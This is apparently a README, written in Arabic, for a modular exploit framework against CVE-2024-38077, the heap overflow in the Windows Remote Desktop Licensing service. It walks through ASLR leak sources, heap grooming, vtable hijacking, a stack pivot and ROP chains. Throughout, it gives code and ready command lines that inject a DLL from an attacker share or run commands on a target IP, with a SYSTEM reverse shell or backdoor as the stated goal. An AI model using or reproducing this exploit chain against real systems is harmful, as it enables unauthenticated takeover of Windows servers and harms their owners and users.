
إطار عمل استغلال معياري لـ CVE-2024-38077 (تجاوز سعة كومة RDL في Windows) مع تجاوز ASLR، تهيئة الكومة، توليد سلسلة ROP، وحمولات حقن DLL لتنفيذ تعليمات عن بعد دون مصادقة.
يشرح هذا المستند كل مكون من الإطار، لماذا يوجد، وكيف يعمل استغلال تجاوز سعة المخزن المؤقت للكومة في نظام ويندوز الحديث.
يحتوي خدمة ترخيص سطح المكتب البعيد في ويندوز (lserver.exe) على تجاوز سعة المخزن المؤقت للكومة في الدالة CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ الثغرة: حساب خاطئ للحجم │
├─────────────────────────────────────────────────────────────┤
│ 1. يرسل العميل بيانات Base64 بحجم N │
│ 2. يحسب الخادم: buffer_size = (N / 4) * 3 │
│ 3. يخصص الخادم مخزنًا مؤقتًا بحجم 'buffer_size' بايت │
│ 4. فك تشفير Base64 يكتب فعليًا: ceil(N * 3/4) بايت │
│ 5. إذا لم يكن N مضاعفًا للـ4: تجاوز! │
└─────────────────────────────────────────────────────────────┘
مثال ملموس:
(4001 / 4) * 3 = 1000 * 3 = 3000 بايت مخصصةceil(4001 * 0.75) = 3001 بايت مكتوب┌─────────────────────────────────────────────────────────────────┐
│ سلسلة الاستغلال │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - الأساسأدوات منخفضة المستوى للتعامل مع الذاكرة.
يحتاج الاستغلال إلى:
# Pack/Unpack - تحويل الأعداد الصحيحة إلى بايتات والعكس
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# النمط الدوري - لتحديد إزاحة الانهيار
cyclic(100) # يولد تسلسل De Bruijn
cyclic_find(pattern, value) # يجد إزاحة القيمة
# المحاذاة - الذاكرة يجب أن تكون محاذية
align(0x1003, 0x10) # → 0x1010 (محاذاة إلى 16 بايت)
المشكلة الحقيقية: تتسبب في انهيار ويحتوي RIP على 0x61616171.
cyclic_find(pattern, 0x61616171) → الإزاحة بالضبط!leak.py - تجاوز ASLRAddress Space Layout Randomization: مع كل إقلاع/تشغيل، تتغير العناوين.
الإقلاع 1: ntdll.dll @ 0x7FFA12340000
الإقلاع 2: ntdll.dll @ 0x7FFB98760000
الإقلاع 3: ntdll.dll @ 0x7FFC55550000
بدون معرفة مكان الذاكرة:
class LeakInfo:
"""حاوية للعناوين المسربة"""
heap_base: int # قاعدة الكومة
ntdll_base: int # قاعدة ntdll.dll
kernel32_base: int # قاعدة kernel32.dll
# ...
class LeakProvider:
"""منسق مصادر التسريب"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# يحاول كل مصدر حتى ينجح
| المصدر | كيفية عمله | متى يُستخدم |
|---|---|---|
ManualLeakSource |
في العروض/المختبرات، يمكنك:
--ntdll-base 0x7ffa...هذا يحاكي وجود تسريب حقيقي، مما يسمح باختبار باقي السلسلة.
target_model.py - رسم خريطة الهدفنمذجة هياكل البيانات الضعيفة والمجاورة.
التجاوز ≠ الاستغلال. نحتاج إلى معرفة:
class VulnerableBuffer:
"""المخزن المؤقت الذي سيتعرض للتجاوز"""
allocation_size: int # كم تم تخصيصه
write_size: int # كم سيتم كتابته
overflow_amount: int # الفرق = التجاوز
def calculate_overflow(input_size):
# يحاكي خطأ الحساب
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""الكائن الذي سيتلف (مجاور على الكومة)"""
fields: List[StructField]
has_vtable: bool # هل لديه جدول افتراضي؟
has_function_ptr: bool # هل لديه مؤشر دالة؟
# كائن افتراضي بناءً على التحليل العكسي
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# الحقول المرسومة
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True؟تحدد الحقول المفيدة للاستغلال:
vtable: إذا كتبنا فوقها، نتحكم في استدعاءات الدوالcallback: إذا كتبنا فوقها، نتحكم في وقت استدعاء الاستدعاءwrite_primitive.py - كتابة محكومةالتجاوز يكتب بيانات متسلسلة. لكننا نحتاج إلى:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
يبني مخزن التجاوز بقيم دقيقة
التخطيط:
[حشو حتى الإزاحة] [قيمة محكومة] [مزيد من البيانات]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# يضع القيمة بالضبط عند الإزاحة بالضبط
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# الكتابة فوق vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# الكتابة فوق الاستدعاء
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| الكتابة | النتيجة |
|---|---|
| AAAA... | انهيار بدون تحكم |
| عنوان دقيق عند إزاحة دقيقة | تنفيذ محكوم |
heap_controller.py - تهيئة الكومةيستخدم ويندوز LFH (Low Fragmentation Heap) و Segment Heap:
التهيئة = معالجة الكومة لتخطيط حتمي.
قبل التهيئة:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
تخصيصات عشوائية، فجوات غير متوقعة
بعد التهيئة:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
تخطيط محكوم، "فجوات" حيث نريد
class HeapLayoutController:
def execute_full_groom(self):
# المرحلة 1: ملء الفجوات الموجودة
self.phase_fill(50)
# المرحلة 2: تفعيل LFH للسلة المستهدفة
# (ويندوز ينشط LFH بعد حوالي 17 تخصيصًا من نفس الحجم)
self.phase_activate_lfh()
# المرحلة 3: الرش - إنشاء نمط كثيف
sprayed = self.phase_spray(200)
# المرحلة 4: إنشاء فجوات استراتيجية
# نحرر كل N من التخصيصات
self.phase_create_holes(sprayed, interval=4)
# المرحلة 5: التثبيت
self.phase_stabilize()
trigger.py - المشغل بعد التلفحدث التلف. والآن؟
الحالة الحالية:
- الذاكرة متلفة ✓
- القيمة الخبيثة مكتوبة ✓
- لكن لم يستخدمها أحد بعد!
نحتاج أن يقرأ البرنامج ويستخدم البيانات المتلفة.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# الاستراتيجيات المنفذة:
class SecondRequestTrigger:
"""يقوم باستدعاء RPC ثانٍ يستخدم الكائن المتلف"""
class DestructorTrigger:
"""يقطع الاتصال - يجبر التنظيف الذي يستخدم المؤشرات المتلفة"""
class TimerTrigger:
"""ينتظر مؤقتًا داخليًا لمعالجة الحالة المتلفة"""
1. استدعاء RPC الأول → يحدث التلف
2. قطع الاتصال (المشغل) → الخادم يستدعي المدمر
3. المدمر يقرأ vtable المتلف → يستدعي عنواننا
4. تنفيذ محكوم!
execution.py - التحكم في التدفقRIP (x64) أو EIP (x86) = مؤشر التعليمات
إذا تحكمنا في مؤشر التعليمات، نتحكم في التنفيذ.
class HijackMethod(Enum):
VTABLE = 0 # الأكثر شيوعًا في تجاوز الكومة
FUNCTION_PTR = 1 # مؤشر الاستدعاء
RETURN_ADDR = 2 # تجاوز المكدس (ليس حالتنا)
الكائن العادي:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ عنوان method1 │ ← شرعي
│ │ │ عنوان method2 │
└─────────────┘ └──────────────────┘
بعد التلف:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ عنوان GADGET │ ← لنا!
│ │ │ عنوان GADGET │
└─────────────┘ └──────────────────┘
عند استدعاء method1 → ينفذ gadget الخاص بنا!
المشكلة: اختطاف vtable يعطينا استدعاءً واحدًا. نحتاج إلى المزيد.
الحل: انحياز المكدس
# gadget يستبدل RSP بالمكان الذي لدينا فيه سلسلة ROP
xchg rax, rsp; ret # RAX = عنواننا → RSP = عنواننا
# الآن "المكدس" هو منطقتنا المحكومة!
# كل RET يقفز إلى gadget التالي من سلسلة ROP
code_reuse.py - سلاسل ROPDEP (Data Execution Prevention): الكومة والمكدس غير قابلين للتنفيذ.
شيلكود على الكومة → انهيار (access violation - execute)
ROP = Return-Oriented Programming
نربط "gadgets" - قطع صغيرة من الكود تنتهي بـ RET.
GADGET 1: pop rcx; ret ← يضع قيمة في RCX
GADGET 2: pop rdx; ret ← يضع قيمة في RDX
GADGET 3: call LoadLibraryA ← يستدعي دالة!
سلسلة ROP/المكدس (منطقتنا المحكومة):
┌────────────────────┐
│ عنوان pop_rcx │ ← RSP يشير هنا
├────────────────────┤
│ قيمة لـ RCX │ ← سيتم "سحبها" إلى RCX
├────────────────────┤
│ عنوان pop_rdx │ ← RET يذهب إلى هنا
├────────────────────┤
│ قيمة لـ RDX │
├────────────────────┤
│ عنوان LoadLibraryA │ ← أخيرًا يستدعي!
└────────────────────┘
# تحميل DLL (حقن DLL)
build_load_library(dll_path_addr) → سلسلة ROP
# تخصيص ذاكرة قابلة للتنفيذ
build_virtual_alloc(size) → سلسلة ROP + RAX = عنوان RWX
# تنفيذ أمر
build_winexec(cmd_addr) → سلسلة ROP
payload.py - الحمولة الدلالية| النوع | مثال | النتيجة |
|---|---|---|
| بيانات | AAAAAA... | انهيار |
| نية | ROP + مسار DLL | تحميل DLL |
class PayloadIntent(Enum):
CRASH_TEST = 0 # التحقق من عمل الاستغلال
DLL_INJECT = 1 # تحميل DLL الخاصة بنا
COMMAND_EXEC = 2 # تنفيذ أمر
SHELLCODE = 3 # تنفيذ شيلكود عبر ROP
def build_dll_inject(dll_path: str) -> bytes:
"""
الهيكل النهائي:
┌──────────────────────────────┐
│ سلسلة ROP (LoadLibraryA) │ ← تنفذ أولاً
├──────────────────────────────┤
│ حشو │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ │سلسلة المسار
└──────────────────────────────┘
سلسلة ROP تمرر عنوان السلسلة إلى LoadLibraryA
"""
mitigations.py - الوعي بالتخفيفاتdef adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # إجباري
if mitigations.ASLR.enabled:
config["require_leak"] = True # إجباري
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # رش أكثر
┌─────────────────────────────────────────────────────────────────┐
│ تدفق الاستغلال │
└─────────────────────────────────────────────────────────────────┘
المرحلة 1: التسريب (تجاوز ASLR)
├─ الحصول على عناوين الذاكرة
├─ الإدخال: يدوي أو تسريب تلقائي
└─ الإخراج: LeakInfo بقواعد الوحدات
↓
المرحلة 2: التحليل (رسم خريطة الهدف)
├─ حساب حجم التجاوز
├─ تحديد الكائنات المجاورة
└─ تحديد إزاحات التلف
↓
المرحلة 3: التهيئة (تشكيل الكومة)
├─ ملء → تفعيل LFH → رش → فجوات
├─ إنشاء تخطيط حتمي
└─ تحضير "منطقة هبوط" للتخصيص الضعيف
↓
المرحلة 4: الحمولة (البناء)
├─ بناء سلسلة ROP
├─ تضمين السلاسل/البيانات اللازمة
└─ دمجها مع بيانات التجاوز
↓
المرحلة 5: التلف (تشغيل التجاوز)
├─ إرسال استدعاء RPC خبيث
├─ التسبب في تجاوز
└─ الكتابة فوق الهدف (vtable/استدعاء)
↓
المرحلة 6: المشغل (إجبار الاستخدام)
├─ قطع الاتصال أو استدعاء ثانٍ
├─ إجبار استخدام المؤشر المتلف
└─ اختطاف التنفيذ
↓
المرحلة 7: التنفيذ (RCE)
├─ سلسلة ROP تنفذ
├─ LoadLibraryA تحمل DLL
└─ كود عشوائي يُنفذ!
↓
┌─────────────────────────────────────────────────────────────┐
│ النتيجة: شل عكسي، باب خلفي، إلخ. كـ SYSTEM │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# فقط التحقق من تشغيل الخدمة
python -m madlicense.poc -t 10.0.0.5 --check
# تشغيل جاف (لا يرسل حمولة، يحاكي كل شيء)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# حقن DLL كامل
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# تشغيل calc.exe (PoC كلاسيكي)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
هذا الإطار مخصص لـ:
ليس لـ:
العبارة المفتاحية:
"استغلال تجاوز سعة المخزن المؤقت للكومة في ويندوز الحديث ليس مجرد 'كتابة كثير'. إنها سلسلة دقيقة من تسريب → تهيئة → تلف → مشغل → تنفيذ."
الوحدات التسع:
بدون أي من هذه، لا يوجد RCE.
| يقدم المستخدم العناوين |
| مختبر/تصحيح مع الوصول إلى الهدف |
ResponseLeakSource | يستخرج من ردود RPC | إذا كانت الخدمة تسرب المؤشرات |
TimingLeakSource | قناة جانبية زمنية | نظري، صعب جدًا |
| التخفيف | ماذا يفعل | تجاوزنا |
|---|
| DEP | الكومة/المكدس غير قابل للتنفيذ | ROP (إعادة استخدام الكود) |
| ASLR | عناوين عشوائية | تسريب معلومات |
| CFG | يتحقق من أهداف الاستدعاءات | استدعاء أهداف صالحة، ثم انحياز |
| Stack Cookie | يكتشف تجاوز المكدس | لا نستخدم تجاوز المكدس |
| Heap Hardening | صفحات حارسة، إلخ | تهيئة دقيقة |